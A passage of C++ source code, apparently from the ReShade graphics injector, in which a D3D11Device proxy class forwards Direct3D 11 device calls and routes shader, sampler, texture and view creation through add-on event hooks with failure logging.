desc.graphics.hull_shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreateHullShader(desc.graphics.hull_shader.code, desc.graphics.hull_shader.code_size, pClassLinkage, ppHullShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateHullShader" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreateHullShader(pShaderBytecode, BytecodeLength, pClassLinkage, ppHullShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDomainShader(const void *pShaderBytecode, SIZE_T BytecodeLength, ID3D11ClassLinkage *pClassLinkage, ID3D11DomainShader **ppDomainShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::graphics_domain_shader }; desc.graphics.domain_shader.code = pShaderBytecode; desc.graphics.domain_shader.code_size = BytecodeLength; desc.graphics.domain_shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pClassLinkage, ppDomainShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::graphics_domain_shader || desc.graphics.domain_shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreateDomainShader(desc.graphics.domain_shader.code, desc.graphics.domain_shader.code_size, pClassLinkage, ppDomainShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateDomainShader" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreateDomainShader(pShaderBytecode, BytecodeLength, pClassLinkage, ppDomainShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateComputeShader(const void *pShaderBytecode, SIZE_T BytecodeLength, ID3D11ClassLinkage *pClassLinkage, ID3D11ComputeShader **ppComputeShader) { #if RESHADE_ADDON reshade::api::pipeline_desc desc = { reshade::api::pipeline_type::compute }; desc.compute.shader.code = pShaderBytecode; desc.compute.shader.code_size = BytecodeLength; desc.compute.shader.format = reshade::api::shader_format::dxbc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_pipeline>( [this, &hr, pClassLinkage, ppComputeShader](reshade::api::device *, const reshade::api::pipeline_desc &desc) { if (desc.type != reshade::api::pipeline_type::compute || desc.compute.shader.format != reshade::api::shader_format::dxbc) return false; hr = _orig->CreateComputeShader(desc.compute.shader.code, desc.compute.shader.code_size, pClassLinkage, ppComputeShader); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateComputeShader" << " failed with error code " << hr << '.'; return false; } }, this, desc); return hr; #else return _orig->CreateComputeShader(pShaderBytecode, BytecodeLength, pClassLinkage, ppComputeShader); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateClassLinkage(ID3D11ClassLinkage **ppLinkage) { return _orig->CreateClassLinkage(ppLinkage); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateBlendState(const D3D11_BLEND_DESC *pBlendStateDesc, ID3D11BlendState **ppBlendState) { return _orig->CreateBlendState(pBlendStateDesc, ppBlendState); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDepthStencilState(const D3D11_DEPTH_STENCIL_DESC *pDepthStencilDesc, ID3D11DepthStencilState **ppDepthStencilState) { return _orig->CreateDepthStencilState(pDepthStencilDesc, ppDepthStencilState); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateRasterizerState(const D3D11_RASTERIZER_DESC *pRasterizerDesc, ID3D11RasterizerState **ppRasterizerState) { return _orig->CreateRasterizerState(pRasterizerDesc, ppRasterizerState); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateSamplerState(const D3D11_SAMPLER_DESC *pSamplerDesc, ID3D11SamplerState **ppSamplerState) { #if RESHADE_ADDON if (pSamplerDesc == nullptr) return E_INVALIDARG; D3D11_SAMPLER_DESC new_desc = *pSamplerDesc; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_sampler>( [this, &hr, &new_desc, ppSamplerState](reshade::api::device *, const reshade::api::sampler_desc &desc) { reshade::d3d11::convert_sampler_desc(desc, new_desc); hr = _orig->CreateSamplerState(&new_desc, ppSamplerState); if (SUCCEEDED(hr)) { return true; } else { LOG(WARN) << "ID3D11Device::CreateSamplerState" << " failed with error code " << hr << '.'; return false; } }, this, reshade::d3d11::convert_sampler_desc(new_desc)); return hr; #else return _orig->CreateSamplerState(pSamplerDesc, ppSamplerState); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateQuery(const D3D11_QUERY_DESC *pQueryDesc, ID3D11Query **ppQuery) { return _orig->CreateQuery(pQueryDesc, ppQuery); } HRESULT STDMETHODCALLTYPE D3D11Device::CreatePredicate(const D3D11_QUERY_DESC *pPredicateDesc, ID3D11Predicate **ppPredicate) { return _orig->CreatePredicate(pPredicateDesc, ppPredicate); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateCounter(const D3D11_COUNTER_DESC *pCounterDesc, ID3D11Counter **ppCounter) { return _orig->CreateCounter(pCounterDesc, ppCounter); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDeferredContext(UINT ContextFlags, ID3D11DeviceContext **ppDeferredContext) { LOG(INFO) << "Redirecting " << "ID3D11Device::CreateDeferredContext" << '(' << "this = " << this << ", ContextFlags = " << ContextFlags << ", ppDeferredContext = " << ppDeferredContext << ')' << " ..."; if (ppDeferredContext == nullptr) return E_INVALIDARG; const HRESULT hr = _orig->CreateDeferredContext(ContextFlags, ppDeferredContext); if (SUCCEEDED(hr)) { const auto device_context_proxy = new D3D11DeviceContext(this, *ppDeferredContext); *ppDeferredContext = device_context_proxy; #if RESHADE_VERBOSE_LOG LOG(INFO) << "> Returning ID3D11DeviceContext object " << device_context_proxy << '.'; #endif } else { LOG(WARN) << "ID3D11Device::CreateDeferredContext" << " failed with error code " << hr << '.'; } return hr; } HRESULT STDMETHODCALLTYPE D3D11Device::OpenSharedResource(HANDLE hResource, REFIID ReturnedInterface, void **ppResource) { return _orig->OpenSharedResource(hResource, ReturnedInterface, ppResource); } HRESULT STDMETHODCALLTYPE D3D11Device::CheckFormatSupport(DXGI_FORMAT Format, UINT *pFormatSupport) { return _orig->CheckFormatSupport(Format, pFormatSupport); } HRESULT STDMETHODCALLTYPE D3D11Device::CheckMultisampleQualityLevels(DXGI_FORMAT Format, UINT SampleCount, UINT *pNumQualityLevels) { return _orig->CheckMultisampleQualityLevels(Format, SampleCount, pNumQualityLevels); } void STDMETHODCALLTYPE D3D11Device::CheckCounterInfo(D3D11_COUNTER_INFO *pCounterInfo) { _orig->CheckCounterInfo(pCounterInfo); } HRESULT STDMETHODCALLTYPE D3D11Device::CheckCounter(const D3D11_COUNTER_DESC *pDesc, D3D11_COUNTER_TYPE *pType, UINT *pActiveCounters, LPSTR szName, UINT *pNameLength, LPSTR szUnits, UINT *pUnitsLength, LPSTR szDescription, UINT *pDescriptionLength) { return _orig->CheckCounter(pDesc, pType, pActiveCounters, szName, pNameLength, szUnits, pUnitsLength, szDescription, pDescriptionLength); } HRESULT STDMETHODCALLTYPE D3D11Device::CheckFeatureSupport(D3D11_FEATURE Feature, void *pFeatureSupportData, UINT FeatureSupportDataSize) { return _orig->CheckFeatureSupport(Feature, pFeatureSupportData, FeatureSupportDataSize); } HRESULT STDMETHODCALLTYPE D3D11Device::GetPrivateData(REFGUID guid, UINT *pDataSize, void *pData) { return _orig->GetPrivateData(guid, pDataSize, pData); } HRESULT STDMETHODCALLTYPE D3D11Device::SetPrivateData(REFGUID guid, UINT DataSize, const void *pData) { return _orig->SetPrivateData(guid, DataSize, pData); } HRESULT STDMETHODCALLTYPE D3D11Device::SetPrivateDataInterface(REFGUID guid, const IUnknown *pData) { return _orig->SetPrivateDataInterface(guid, pData); } UINT STDMETHODCALLTYPE D3D11Device::GetCreationFlags() { return _orig->GetCreationFlags(); } HRESULT STDMETHODCALLTYPE D3D11Device::GetDeviceRemovedReason() { return _orig->GetDeviceRemovedReason(); } void STDMETHODCALLTYPE D3D11Device::GetImmediateContext(ID3D11DeviceContext **ppImmediateContext) { assert(ppImmediateContext != nullptr); _immediate_context->AddRef(); *ppImmediateContext = _immediate_context; } HRESULT STDMETHODCALLTYPE D3D11Device::SetExceptionMode(UINT RaiseFlags) { return _orig->SetExceptionMode(RaiseFlags); } UINT STDMETHODCALLTYPE D3D11Device::GetExceptionMode() { return _orig->GetExceptionMode(); } D3D_FEATURE_LEVEL STDMETHODCALLTYPE D3D11Device::GetFeatureLevel() { return _orig->GetFeatureLevel(); } void STDMETHODCALLTYPE D3D11Device::GetImmediateContext1(ID3D11DeviceContext1 **ppImmediateContext) { assert(ppImmediateContext != nullptr); assert(_interface_version >= 1); // Upgrade immediate context to interface version 1 _immediate_context->check_and_upgrade_interface(__uuidof(**ppImmediateContext)); _immediate_context->AddRef(); *ppImmediateContext = _immediate_context; } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDeferredContext1(UINT ContextFlags, ID3D11DeviceContext1 **ppDeferredContext) { LOG(INFO) << "Redirecting " << "ID3D11Device1::CreateDeferredContext1" << '(' << "this = " << this << ", ContextFlags = " << ContextFlags << ", ppDeferredContext = " << ppDeferredContext << ')' << " ..."; if (ppDeferredContext == nullptr) return E_INVALIDARG; assert(_interface_version >= 1); const HRESULT hr = static_cast<ID3D11Device1 *>(_orig)->CreateDeferredContext1(ContextFlags, ppDeferredContext); if (SUCCEEDED(hr)) { const auto device_context_proxy = new D3D11DeviceContext(this, *ppDeferredContext); *ppDeferredContext = device_context_proxy; #if RESHADE_VERBOSE_LOG LOG(INFO) << "> Returning ID3D11DeviceContext1 object " << device_context_proxy << '.'; #endif } else { LOG(WARN) << "ID3D11Device1::CreateDeferredContext1" << " failed with error code " << hr << '.'; } return hr; } HRESULT STDMETHODCALLTYPE D3D11Device::CreateBlendState1(const D3D11_BLEND_DESC1 *pBlendStateDesc, ID3D11BlendState1 **ppBlendState) { assert(_interface_version >= 1); return static_cast<ID3D11Device1 *>(_orig)->CreateBlendState1(pBlendStateDesc, ppBlendState); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateRasterizerState1(const D3D11_RASTERIZER_DESC1 *pRasterizerDesc, ID3D11RasterizerState1 **ppRasterizerState) { assert(_interface_version >= 1); return static_cast<ID3D11Device1 *>(_orig)->CreateRasterizerState1(pRasterizerDesc, ppRasterizerState); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDeviceContextState(UINT Flags, const D3D_FEATURE_LEVEL *pFeatureLevels, UINT FeatureLevels, UINT SDKVersion, REFIID EmulatedInterface, D3D_FEATURE_LEVEL *pChosenFeatureLevel, ID3DDeviceContextState **ppContextState) { assert(_interface_version >= 1); return static_cast<ID3D11Device1 *>(_orig)->CreateDeviceContextState(Flags, pFeatureLevels, FeatureLevels, SDKVersion, EmulatedInterface, pChosenFeatureLevel, ppContextState); } HRESULT STDMETHODCALLTYPE D3D11Device::OpenSharedResource1(HANDLE hResource, REFIID returnedInterface, void **ppResource) { assert(_interface_version >= 1); return static_cast<ID3D11Device1 *>(_orig)->OpenSharedResource1(hResource, returnedInterface, ppResource); } HRESULT STDMETHODCALLTYPE D3D11Device::OpenSharedResourceByName(LPCWSTR lpName, DWORD dwDesiredAccess, REFIID returnedInterface, void **ppResource) { assert(_interface_version >= 1); return static_cast<ID3D11Device1 *>(_orig)->OpenSharedResourceByName(lpName, dwDesiredAccess, returnedInterface, ppResource); } void STDMETHODCALLTYPE D3D11Device::GetImmediateContext2(ID3D11DeviceContext2 **ppImmediateContext) { assert(ppImmediateContext != nullptr); assert(_interface_version >= 2); // Upgrade immediate context to interface version 2 _immediate_context->check_and_upgrade_interface(__uuidof(**ppImmediateContext)); _immediate_context->AddRef(); *ppImmediateContext = _immediate_context; } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDeferredContext2(UINT ContextFlags, ID3D11DeviceContext2 **ppDeferredContext) { LOG(INFO) << "Redirecting " << "ID3D11Device2::CreateDeferredContext2" << '(' << "this = " << this << ", ContextFlags = " << ContextFlags << ", ppDeferredContext = " << ppDeferredContext << ')' << " ..."; if (ppDeferredContext == nullptr) return E_INVALIDARG; assert(_interface_version >= 2); const HRESULT hr = static_cast<ID3D11Device2 *>(_orig)->CreateDeferredContext2(ContextFlags, ppDeferredContext); if (SUCCEEDED(hr)) { const auto device_context_proxy = new D3D11DeviceContext(this, *ppDeferredContext); *ppDeferredContext = device_context_proxy; #if RESHADE_VERBOSE_LOG LOG(INFO) << "> Returning ID3D11DeviceContext2 object " << device_context_proxy << '.'; #endif } else { LOG(WARN) << "ID3D11Device1::CreateDeferredContext2" << " failed with error code " << hr << '.'; } return hr; } void STDMETHODCALLTYPE D3D11Device::GetResourceTiling(ID3D11Resource *pTiledResource, UINT *pNumTilesForEntireResource, D3D11_PACKED_MIP_DESC *pPackedMipDesc, D3D11_TILE_SHAPE *pStandardTileShapeForNonPackedMips, UINT *pNumSubresourceTilings, UINT FirstSubresourceTilingToGet, D3D11_SUBRESOURCE_TILING *pSubresourceTilingsForNonPackedMips) { assert(_interface_version >= 2); static_cast<ID3D11Device2 *>(_orig)->GetResourceTiling(pTiledResource, pNumTilesForEntireResource, pPackedMipDesc, pStandardTileShapeForNonPackedMips, pNumSubresourceTilings, FirstSubresourceTilingToGet, pSubresourceTilingsForNonPackedMips); } HRESULT STDMETHODCALLTYPE D3D11Device::CheckMultisampleQualityLevels1(DXGI_FORMAT Format, UINT SampleCount, UINT Flags, UINT *pNumQualityLevels) { assert(_interface_version >= 2); return static_cast<ID3D11Device2 *>(_orig)->CheckMultisampleQualityLevels1(Format, SampleCount, Flags, pNumQualityLevels); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateTexture2D1(const D3D11_TEXTURE2D_DESC1 *pDesc1, const D3D11_SUBRESOURCE_DATA *pInitialData, ID3D11Texture2D1 **ppTexture2D) { assert(_interface_version >= 3); #if RESHADE_ADDON if (pDesc1 == nullptr) return E_INVALIDARG; D3D11_TEXTURE2D_DESC1 new_desc = *pDesc1; HRESULT hr = E_FAIL; // D3D11_TEXTURE2D_DESC1 is a superset of D3D11_TEXTURE2D_DESC reshade::invoke_addon_event<reshade::addon_event::create_resource>( [this, &hr, &new_desc, ppTexture2D](reshade::api::device *, const reshade::api::resource_desc &desc, const reshade::api::subresource_data *initial_data, reshade::api::resource_usage) { if (desc.type != reshade::api::resource_type::texture_2d) return false; reshade::d3d11::convert_resource_desc(desc, reinterpret_cast<D3D11_TEXTURE2D_DESC &>(new_desc)); hr = static_cast<ID3D11Device3 *>(_orig)->CreateTexture2D1(&new_desc, reinterpret_cast<const D3D11_SUBRESOURCE_DATA *>(initial_data), ppTexture2D); if (SUCCEEDED(hr)) { if (ppTexture2D != nullptr) // This can happen when application only wants to validate input parameters _resources.register_object(*ppTexture2D); return true; } else { LOG(WARN) << "ID3D11Device3::CreateTexture2D1" << " failed with error code " << hr << '.'; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "> Dumping description:"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; LOG(DEBUG) << " | Width | " << std::setw(39) << new_desc.Width << " |"; LOG(DEBUG) << " | Height | " << std::setw(39) << new_desc.Height << " |"; LOG(DEBUG) << " | MipLevels | " << std::setw(39) << new_desc.MipLevels << " |"; LOG(DEBUG) << " | ArraySize | " << std::setw(39) << new_desc.ArraySize << " |"; LOG(DEBUG) << " | Format | " << std::setw(39) << new_desc.Format << " |"; LOG(DEBUG) << " | SampleCount | " << std::setw(39) << new_desc.SampleDesc.Count << " |"; LOG(DEBUG) << " | SampleQuality | " << std::setw(39) << new_desc.SampleDesc.Quality << " |"; LOG(DEBUG) << " | Usage | " << std::setw(39) << new_desc.Usage << " |"; LOG(DEBUG) << " | BindFlags | " << std::setw(39) << std::hex << new_desc.BindFlags << std::dec << " |"; LOG(DEBUG) << " | CPUAccessFlags | " << std::setw(39) << std::hex << new_desc.CPUAccessFlags << std::dec << " |"; LOG(DEBUG) << " | MiscFlags | " << std::setw(39) << std::hex << new_desc.MiscFlags << std::dec << " |"; LOG(DEBUG) << " | TextureLayout | " << std::setw(39) << new_desc.TextureLayout << " |"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; #endif return false; } }, this, reshade::d3d11::convert_resource_desc(reinterpret_cast<D3D11_TEXTURE2D_DESC &>(new_desc)), reinterpret_cast<const reshade::api::subresource_data *>(pInitialData), reshade::api::resource_usage::undefined); return hr; #else return static_cast<ID3D11Device3 *>(_orig)->CreateTexture2D1(pDesc1, pInitialData, ppTexture2D); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateTexture3D1(const D3D11_TEXTURE3D_DESC1 *pDesc1, const D3D11_SUBRESOURCE_DATA *pInitialData, ID3D11Texture3D1 **ppTexture3D) { assert(_interface_version >= 3); #if RESHADE_ADDON if (pDesc1 == nullptr) return E_INVALIDARG; D3D11_TEXTURE3D_DESC1 new_desc = *pDesc1; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource>( [this, &hr, &new_desc, ppTexture3D](reshade::api::device *, const reshade::api::resource_desc &desc, const reshade::api::subresource_data *initial_data, reshade::api::resource_usage) { if (desc.type != reshade::api::resource_type::texture_3d) return false; reshade::d3d11::convert_resource_desc(desc, reinterpret_cast<D3D11_TEXTURE3D_DESC &>(new_desc)); hr = static_cast<ID3D11Device3 *>(_orig)->CreateTexture3D1(&new_desc, reinterpret_cast<const D3D11_SUBRESOURCE_DATA *>(initial_data), ppTexture3D); if (SUCCEEDED(hr)) { if (ppTexture3D != nullptr) // This can happen when application only wants to validate input parameters _resources.register_object(*ppTexture3D); return true; } else { LOG(WARN) << "ID3D11Device3::CreateTexture3D1" << " failed with error code " << hr << '.'; #if RESHADE_VERBOSE_LOG LOG(DEBUG) << "> Dumping description:"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; LOG(DEBUG) << " | Width | " << std::setw(39) << new_desc.Width << " |"; LOG(DEBUG) << " | Height | " << std::setw(39) << new_desc.Height << " |"; LOG(DEBUG) << " | Depth | " << std::setw(39) << new_desc.Depth << " |"; LOG(DEBUG) << " | MipLevels | " << std::setw(39) << new_desc.MipLevels << " |"; LOG(DEBUG) << " | Format | " << std::setw(39) << new_desc.Format << " |"; LOG(DEBUG) << " | Usage | " << std::setw(39) << new_desc.Usage << " |"; LOG(DEBUG) << " | BindFlags | " << std::setw(39) << std::hex << new_desc.BindFlags << std::dec << " |"; LOG(DEBUG) << " | CPUAccessFlags | " << std::setw(39) << std::hex << new_desc.CPUAccessFlags << std::dec << " |"; LOG(DEBUG) << " | MiscFlags | " << std::setw(39) << std::hex << new_desc.MiscFlags << std::dec << " |"; LOG(DEBUG) << " | TextureLayout | " << std::setw(39) << new_desc.TextureLayout << " |"; LOG(DEBUG) << " +-----------------------------------------+-----------------------------------------+"; #endif return false; } }, this, reshade::d3d11::convert_resource_desc(reinterpret_cast<D3D11_TEXTURE3D_DESC &>(new_desc)), reinterpret_cast<const reshade::api::subresource_data *>(pInitialData), reshade::api::resource_usage::undefined); return hr; #else return static_cast<ID3D11Device3 *>(_orig)->CreateTexture3D1(pDesc1, pInitialData, ppTexture3D); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateRasterizerState2(const D3D11_RASTERIZER_DESC2 *pRasterizerDesc, ID3D11RasterizerState2 **ppRasterizerState) { assert(_interface_version >= 3); return static_cast<ID3D11Device3 *>(_orig)->CreateRasterizerState2(pRasterizerDesc, ppRasterizerState); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateShaderResourceView1(ID3D11Resource *pResource, const D3D11_SHADER_RESOURCE_VIEW_DESC1 *pDesc1, ID3D11ShaderResourceView1 **ppSRView1) { assert(_interface_version >= 3); #if RESHADE_ADDON if (pResource == nullptr) return E_INVALIDARG; D3D11_SHADER_RESOURCE_VIEW_DESC1 new_desc = pDesc1 != nullptr ? *pDesc1 : D3D11_SHADER_RESOURCE_VIEW_DESC1 { DXGI_FORMAT_UNKNOWN, D3D11_SRV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppSRView1](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::shader_resource) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = static_cast<ID3D11Device3 *>(_orig)->CreateShaderResourceView1(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_SRV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppSRView1); if (SUCCEEDED(hr)) { if (ppSRView1 != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppSRView1); return true; } else { LOG(WARN) << "ID3D11Device3::CreateShaderResourceView1" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::shader_resource, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return static_cast<ID3D11Device3 *>(_orig)->CreateShaderResourceView1(pResource, pDesc1, ppSRView1); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateUnorderedAccessView1(ID3D11Resource *pResource, const D3D11_UNORDERED_ACCESS_VIEW_DESC1 *pDesc1, ID3D11UnorderedAccessView1 **ppUAView1) { assert(_interface_version >= 3); #if RESHADE_ADDON if (pResource == nullptr) return E_INVALIDARG; D3D11_UNORDERED_ACCESS_VIEW_DESC1 new_desc = pDesc1 != nullptr ? *pDesc1 : D3D11_UNORDERED_ACCESS_VIEW_DESC1 { DXGI_FORMAT_UNKNOWN, D3D11_UAV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppUAView1](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::unordered_access) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = static_cast<ID3D11Device3 *>(_orig)->CreateUnorderedAccessView1(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_UAV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppUAView1); if (SUCCEEDED(hr)) { if (ppUAView1 != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppUAView1); return true; } else { LOG(WARN) << "ID3D11Device3::CreateUnorderedAccessView1" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::unordered_access, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return static_cast<ID3D11Device3 *>(_orig)->CreateUnorderedAccessView1(pResource, pDesc1, ppUAView1); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateRenderTargetView1(ID3D11Resource *pResource, const D3D11_RENDER_TARGET_VIEW_DESC1 *pDesc1, ID3D11RenderTargetView1 **ppRTView1) { assert(_interface_version >= 3); #if RESHADE_ADDON if (pResource == nullptr) return E_INVALIDARG; D3D11_RENDER_TARGET_VIEW_DESC1 new_desc = pDesc1 != nullptr ? *pDesc1 : D3D11_RENDER_TARGET_VIEW_DESC1 { DXGI_FORMAT_UNKNOWN, D3D11_RTV_DIMENSION_UNKNOWN }; HRESULT hr = E_FAIL; reshade::invoke_addon_event<reshade::addon_event::create_resource_view>( [this, &hr, &new_desc, ppRTView1](reshade::api::device *, reshade::api::resource resource, reshade::api::resource_usage usage_type, const reshade::api::resource_view_desc &desc) { if (usage_type != reshade::api::resource_usage::render_target) return false; reshade::d3d11::convert_resource_view_desc(desc, new_desc); hr = static_cast<ID3D11Device3 *>(_orig)->CreateRenderTargetView1(reinterpret_cast<ID3D11Resource *>(resource.handle), new_desc.ViewDimension != D3D11_RTV_DIMENSION_UNKNOWN ? &new_desc : nullptr, ppRTView1); if (SUCCEEDED(hr)) { if (ppRTView1 != nullptr) // This can happen when application only wants to validate input parameters _views.register_object(*ppRTView1); return true; } else { LOG(WARN) << "ID3D11Device3::CreateRenderTargetView1" << " failed with error code " << hr << '.'; return false; } }, this, reshade::api::resource { reinterpret_cast<uintptr_t>(pResource) }, reshade::api::resource_usage::render_target, reshade::d3d11::convert_resource_view_desc(new_desc)); return hr; #else return static_cast<ID3D11Device3 *>(_orig)->CreateRenderTargetView1(pResource, pDesc1, ppRTView1); #endif } HRESULT STDMETHODCALLTYPE D3D11Device::CreateQuery1(const D3D11_QUERY_DESC1 *pQueryDesc1, ID3D11Query1 **ppQuery1) { assert(_interface_version >= 3); return static_cast<ID3D11Device3 *>(_orig)->CreateQuery1(pQueryDesc1, ppQuery1); } void STDMETHODCALLTYPE D3D11Device::GetImmediateContext3(ID3D11DeviceContext3 **ppImmediateContext) { assert(_interface_version >= 3); static_cast<ID3D11Device3 *>(_orig)->GetImmediateContext3(ppImmediateContext); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateDeferredContext3(UINT ContextFlags, ID3D11DeviceContext3 **ppDeferredContext) { LOG(INFO) << "Redirecting " << "ID3D11Device3::CreateDeferredContext3" << '(' << "this = " << this << ", ContextFlags = " << ContextFlags << ", ppDeferredContext = " << ppDeferredContext << ')' << " ..."; if (ppDeferredContext == nullptr) return E_INVALIDARG; assert(_interface_version >= 3); const HRESULT hr = static_cast<ID3D11Device3 *>(_orig)->CreateDeferredContext3(ContextFlags, ppDeferredContext); if (SUCCEEDED(hr)) { const auto device_context_proxy = new D3D11DeviceContext(this, *ppDeferredContext); *ppDeferredContext = device_context_proxy; #if RESHADE_VERBOSE_LOG LOG(INFO) << "> Returning ID3D11DeviceContext3 object " << device_context_proxy << '.'; #endif } else { LOG(WARN) << "ID3D11Device1::CreateDeferredContext3" << " failed with error code " << hr << '.'; } return hr; } void STDMETHODCALLTYPE D3D11Device::WriteToSubresource(ID3D11Resource *pDstResource, UINT DstSubresource, const D3D11_BOX *pDstBox, const void *pSrcData, UINT SrcRowPitch, UINT SrcDepthPitch) { assert(_interface_version >= 3); static_cast<ID3D11Device3 *>(_orig)->WriteToSubresource(pDstResource, DstSubresource, pDstBox, pSrcData, SrcRowPitch, SrcDepthPitch); } void STDMETHODCALLTYPE D3D11Device::ReadFromSubresource(void *pDstData, UINT DstRowPitch, UINT DstDepthPitch, ID3D11Resource *pSrcResource, UINT SrcSubresource, const D3D11_BOX *pSrcBox) { assert(_interface_version >= 3); static_cast<ID3D11Device3 *>(_orig)->ReadFromSubresource(pDstData, DstRowPitch, DstDepthPitch, pSrcResource, SrcSubresource, pSrcBox); } HRESULT STDMETHODCALLTYPE D3D11Device::RegisterDeviceRemovedEvent(HANDLE hEvent, DWORD *pdwCookie) { assert(_interface_version >= 4); return static_cast<ID3D11Device4 *>(_orig)->RegisterDeviceRemovedEvent(hEvent, pdwCookie); } void STDMETHODCALLTYPE D3D11Device::UnregisterDeviceRemoved(DWORD dwCookie) { assert(_interface_version >= 4); static_cast<ID3D11Device4 *>(_orig)->UnregisterDeviceRemoved(dwCookie); } HRESULT STDMETHODCALLTYPE D3D11Device::OpenSharedFence(HANDLE hFence, REFIID ReturnedInterface, void **ppFence) { assert(_interface_version >= 5); return static_cast<ID3D11Device5 *>(_orig)->OpenSharedFence(hFence, ReturnedInterface, ppFence); } HRESULT STDMETHODCALLTYPE D3D11Device::CreateFence(UINT64 InitialValue, D3D11_FENCE_FLAG Flags, REFIID ReturnedInterface, void **ppFence) { assert(_interface_version >= 5); return static_cast<ID3D11Device5 *>(_orig)->CreateFence(InitialValue, Flags, ReturnedInterface, ppFence); }